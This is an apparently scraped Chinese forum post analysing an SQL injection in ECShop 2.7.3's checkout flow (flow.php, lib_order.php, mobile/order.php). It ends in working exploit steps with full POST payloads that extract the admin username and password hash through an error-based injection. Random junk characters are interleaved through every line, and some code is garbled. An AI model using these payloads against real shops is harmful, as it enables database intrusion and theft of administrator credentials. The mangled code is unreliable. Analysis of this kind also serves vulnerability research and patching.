前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
5 X9 R' ?) o# e) M
5 b8 c( k& X& s* _7 h8 ~ 漏洞关键文件:4 n0 A* W; f7 |
. h' _6 V9 S6 j; I6 z: Q
/includes/lib_order.php7 m$ j+ @3 F+ Y! g* [. v) ?
: m& O7 e1 V5 h X" _- a
关键函数:6 J# y5 {* P8 N2 ]1 o3 z
4 A8 G2 h0 b+ ?+ j* L+ d2 M
& ^; _4 b5 Z# l2 C+ K$ z% w3 D, L
8 \8 x) k' |4 f01 function available_shipping_list($region_id_list)
! x( r* w: s+ U- q, ]8 r6 ?
$ U, q5 x- R/ `- b* E02 {
9 B( k A) s$ x4 ~9 r* K9 k9 r t/ z) c% w
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ) S. w- n+ V9 V! c
" e3 e+ I$ u- b3 x6 N% r* {% V04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
. S5 _ N* E9 P7 n. W: i) g$ q6 Y/ |0 ?
+ Y8 ` w$ d8 m r5 p05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 0 i- h7 u( { H6 g8 K/ |3 D3 C
5 u# z/ h3 V6 u J
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ! _/ h# \' F5 F/ Y3 _ o) ?
6 T7 ?, t0 }/ Z+ ^
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# ^: \9 L! b( o7 T ~, b, t
I G0 X- p( G# P+ ]( U6 J08 'WHERE r.region_id ' . db_create_in($region_id_list) .
7 i, M9 k" Z0 m# O% Q
& q6 j% f9 G1 v/ k+ a; v% t09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , L* ~2 _) D0 W" H; q# |9 D r
' P7 Y5 {; M% |- |' J( X
10 J4 H9 s" c; A; }3 \4 `: X
. ?4 e1 J. \; N4 H. P9 w11 return $GLOBALS['db']->getAll($sql);
6 z3 C8 y" X/ l( s
/ @7 O. g' X! y: Y. d9 S12 } ; k" l* c% @$ h+ n
Z3 n; w/ A8 ^7 l' d
显然对传入的参数没有任何过滤就带入了查询语句。
; }. N( r3 E, c: R- h5 ?0 {4 L
4 _1 [8 B' M. P3 S& z# y+ V下面我们追踪这个函数在flow.php中:" o7 D. D+ D8 k- g2 k$ J/ Q
第531行:
4 b. J- T, ~. A8 w5 w* v$ A6 `( @- a0 a6 E6 l0 `6 T
1 $shipping_list = available_shipping_list($region);
4 U" i7 N5 H) x' F$ m/ w: I) Z% }3 c# b. ^, d& k# @: H2 q( j
* L4 T" h5 |3 `) A( y
+ R; {* P- G& D
4 u1 I" f" F& d |; V4 |: `: k" U
再对传入变量进行追踪:
2 u/ Q# s+ T3 g7 p! n7 A4 z9 o5 A) t! g8 `/ Y: V
第530行:
/ Y6 z% ^0 F! Q8 N9 u. S$ ~: G* H8 F
4 R# U; c" E, W- U1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 R/ r, c! @$ I5 g; [) c4 T3 x6 r, r% W, g1 E! `8 y
# a) G1 M7 v& X& Y/ T
7 V) d- e( N. q. }# t* Z2 Y
~+ t9 J$ [# }7 B: F' u- w+ o4 a5 D7 o( O5 D( M
第473行:
! X: A( x2 A2 c- x8 O% I
* n' o# m& t) I# q1 $consignee = get_consignee($_SESSION['user_id']);
4 I$ [6 s+ I: V3 v. h1 [4 `
- D- [, A5 m+ [5 n, P! r% H! L- }到了一个关键函数:; U0 G! r& c' O5 O* Q/ }8 P4 h7 b
) X1 W% t, N4 R8 K2 Z/ v; ?7 o
/includes/lib_order.php: b4 H7 C. i, e" q( U
( w5 i( l/ ?$ l, N* n
) s2 M4 I R7 ]4 L$ \3 ?& Q9 A% M
A5 y) k- o9 I6 f$ R1 }
: V2 P$ o9 L" p( l8 N! E1 l
; P) y9 ?" E9 k3 L01 function get_consignee($user_id)
" Y- W+ O8 q4 I7 v. K+ p, ]* L3 W
5 {1 ?6 Y, j! q% T02 { # A+ Y& E4 X9 t, v( @' T! Z
# x5 M9 ~8 F9 e( g1 t& U
03 if (isset($_SESSION['flow_consignee']))
# m. U5 b% L- c4 |& j `1 N0 j! X8 |5 R9 t/ a
04 {
7 d; }2 L; _' b( x( a! h" w0 j5 q3 `# i8 Z' K8 R
05 /* 如果存在session,则直接返回session中的收货人信息 */
: @: H% q& ]! P2 y- A4 P( @; C, _/ c1 T
06 + T- c0 f Z7 v: ?' [
9 R% d# G5 T8 y1 g: W6 Z" s/ y" {
07 return $_SESSION['flow_consignee']; ' p% ]5 D7 d) X
1 F. ?/ Q! s2 ~; n! @- \3 |08 } 6 U6 Q( l% L: U) I; z
2 b N* ?) p7 ~09 else
4 s `! ]* }9 V2 L$ _6 Z4 j
8 o. `' w6 S( d/ _, i10 { 3 Z% t1 d" D3 e. y5 @; u
0 z i0 T- O1 e' Z6 Y
11 /* 如果不存在,则取得用户的默认收货人信息 */
: D& K3 n+ A5 a& i7 Y
) l% V6 P* S* R* `* b12 $arr = array();
; r Y6 Z. G, h
4 i5 ?( v9 m# ~2 _13 # u$ u/ `3 T1 G) o# g/ P
0 W2 t' y" @$ p- r14 if ($user_id > 0)
8 x( ~0 Y9 t! [! x+ d4 i7 T
0 f$ m- S0 d' ^' i) |15 {
' s G% o* m' T% t
, B) y# l# R3 r# u9 R5 B3 S16 /* 取默认地址 */ 2 I0 K1 [4 P* ]* ~( ~, K# S1 i
. n" B% U. ~; G5 R9 b
17 $sql = "SELECT ua.*". 3 V. Y3 ~7 r7 r2 z* e8 L
, _# c X" ^4 J$ z. c% G! {18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
# u. q$ e h0 `6 h7 l ~: E3 p+ t9 I0 T2 X+ ?. m& ?7 Z/ n! c
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 4 H! t8 C2 j9 _! O
- H, n( l% j5 ?2 ^3 T1 Z
20
0 T& l3 g0 D& z! s# R5 i
, b" ~. O" C6 U/ k4 F$ r21 $arr = $GLOBALS['db']->getRow($sql); ; [* [: H4 ~3 c4 ~: Z5 A
$ e, ]2 u$ e6 v7 F# Q22 } ( C; M; D$ u5 ^0 a6 w: e* ?& K
$ o/ K+ ?% f% t# o4 p: H$ T23 3 B1 B6 L; \4 x2 c9 ?
* W Y2 Z" b- Y5 R! c$ R. X# z24 return $arr; 4 o3 N& m% i3 F. c- k
3 I/ g$ B% d" @0 i h/ M4 g+ ]/ n" ?25 } ; H! f8 i, e4 I+ }" G1 T0 n
1 z0 U! h5 E' S: c26 } # R7 W# j8 F! a1 t. U' G
" F" D* B$ U* s7 l# A4 s; B显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
9 W: d% h7 n# Z3 v5 H8 @" N% R2 h6 D
1 ?/ z; O5 K( S# g) `8 Q" f g; J" u2 \- C0 P$ p
8 j- I- j9 |0 l' h; \关键点:; k& B9 j9 r& G0 m8 |
M3 b5 `: u6 p G2 N' c6 q1 I第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);$ I3 ~; y3 c& a1 X$ i9 c
# V/ f- Z2 i! _0 I这里对传入参数反转义存入$_SESSION中。
/ q. Q7 h( G5 W6 G2 |: b3 U7 _$ @1 ]( I6 S4 {) u3 o
6 i! X5 F& ] E- I5 |( R. B2 z m& v/ [, I
然后看下:
) n9 g: [) [2 V
" A2 l2 a- I! X0 r& X % H# S: A, R8 m: X$ g7 \
} }1 ]/ E( `/ @* ~
' {+ P) j! A( P- e |$ {. z
5 S$ f7 U( U' X* e01 $consignee = array( ! d1 S2 w" o3 W8 d9 Q, D1 E+ ?
8 b. Z, a3 G6 \
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ' \, k* V5 ^7 u5 X) ?
9 @; S4 M& y) {) X" y. V0 H
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
& l) \$ g1 `( M5 s; L3 f# k3 @7 C6 w& k5 m3 E0 s( F
04 'country' => empty($_POST['country']) ? '' _POST['country'],
- b8 j% }- I8 p x' v' k$ F) q) a. C/ p
05 'province' => empty($_POST['province']) ? '' _POST['province'], 1 h' q5 X I7 @1 P \( }8 [2 C
" ?# v8 Y2 @% C% W* ^8 E3 z# ~2 W
06 'city' => empty($_POST['city']) ? '' _POST['city'], / [# o: W9 ?2 S5 |
/ A/ G2 j) Z- p9 N& E, U07 'district' => empty($_POST['district']) ? '' _POST['district'], 2 u5 j4 D( `& F8 J4 _- O
; K4 S1 h# }' M+ R9 U08 'email' => empty($_POST['email']) ? '' _POST['email'], % r+ U! O: Y, G3 ~
_7 h$ d) d- Z3 u* S2 t09 'address' => empty($_POST['address']) ? '' _POST['address'], ) {, U- x6 x) X
0 C6 g3 x4 n' d w+ e1 z10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), ; d; M( S7 ^' R9 J! L& G3 y$ |2 V2 }, e
& U" q9 Z) @- i) w* p+ h
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
3 b/ E& S4 \( o+ j }
0 _) X7 [# i1 p! a/ ?12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
* m! u" V) G! t; R" o" l: B( m) d% N Y6 f. n1 b) L) P
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 7 n) G" w7 Q8 h$ R% k, W- a4 O% e& i
1 W5 r' p2 F3 [& c
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
* y4 H3 O. m$ o
8 ^" p, l: u$ S+ ?2 \5 A8 C15 );
6 L! @ j1 @5 E) W* ]
9 {; S+ i" y* k好了注入就这样出现了。
1 ] @0 C- o3 D
0 |: B. ]( n* c. P1 H/ a==================
9 P; Q# O9 Q: f1 l; F6 }6 T5 c, b, a3 U5 ]0 A3 C
注入测试:
, G8 ]$ Q3 u& }* }9 {0 R1 Y* L- c, D2 E
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
& V7 |4 `/ q% C! g! _; M+ M& n! [) Y8 ^- m6 t# R
测试程序:ECShop_V2.7.3_UTF8_release1106
' l/ l0 d3 A. v( q0 g, y! I# S6 { e3 ~9 e2 H4 i1 f
/ D& B2 i% B0 {4 R+ G) ^. Q; V* ~" C& M5 v+ U! d; h J
1.首先需要点击一个商品加入购物车2 L8 P' `& N. N1 Q2 W5 r/ }4 }
- M" H/ {' N/ f- _& I2.注册一个会员帐号/ ], _! j, i% k& T P+ ]4 `5 L
4 |2 w" Y, A1 m( D. Y! ^3.post提交数据
6 R2 O `) Q6 c. G: x* [7 _7 o. Z3 k! p& Y2 [9 M
9 f; {# d2 R }5 i2 f& y4 h7 y7 g
5 Z/ }. a- U* C% x1 http://127.0.0.1/ecshop/flow.php ; q9 K6 O7 X: M0 _0 Z
) K% l3 { V6 `( K2 \, c6 ]+ D$ u& g
1 D& w/ y) ~) X- A3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
1 W8 R6 ?, U! ?9 [5 P" A举一反三,我们根据这个漏洞我们可以继续深入挖掘:. m. e1 V, w: K
; T# s/ x5 O& @2 ^6 N我们搜寻关键函数function available_shipping_list()
& X2 ^5 E/ V1 L8 u" ^
0 a0 j+ ?' g7 q. Z! T在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同; [% g) H% T$ R! E1 c
! k E' q( e! N! J! O$ k+ i W+ Z
利用exp:5 E/ U5 s4 ` {& d+ N0 H
' o& k( s" Y! L+ |1 v- g1.点击一个商品,点击购买商标
T- {6 Z! @% I; p3 }
' [9 r( J/ j; @/ Q3 P2.登录会员帐号
; n1 @7 P9 C* e, I$ d9 S$ | h1 M$ Y% M
3.post提交:4 p3 a T" R) d, C% ?! t0 N, W6 K
$ j4 d$ N G0 T2 v; L1 c, X# Jhttp://127.0.0.1/ecshop/mobile/order.php
7 m$ l! K7 C# c: y- h" r6 J0 d4 p o+ I9 T% B) A) f: d) T, [0 |6 S
! u) J& n K* Q" N, l+ F0 Z+ v7 N$ `0 _0 [
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id= \- t" h5 g8 H' C/ b5 E6 {9 n
o- v, N+ Q1 z
|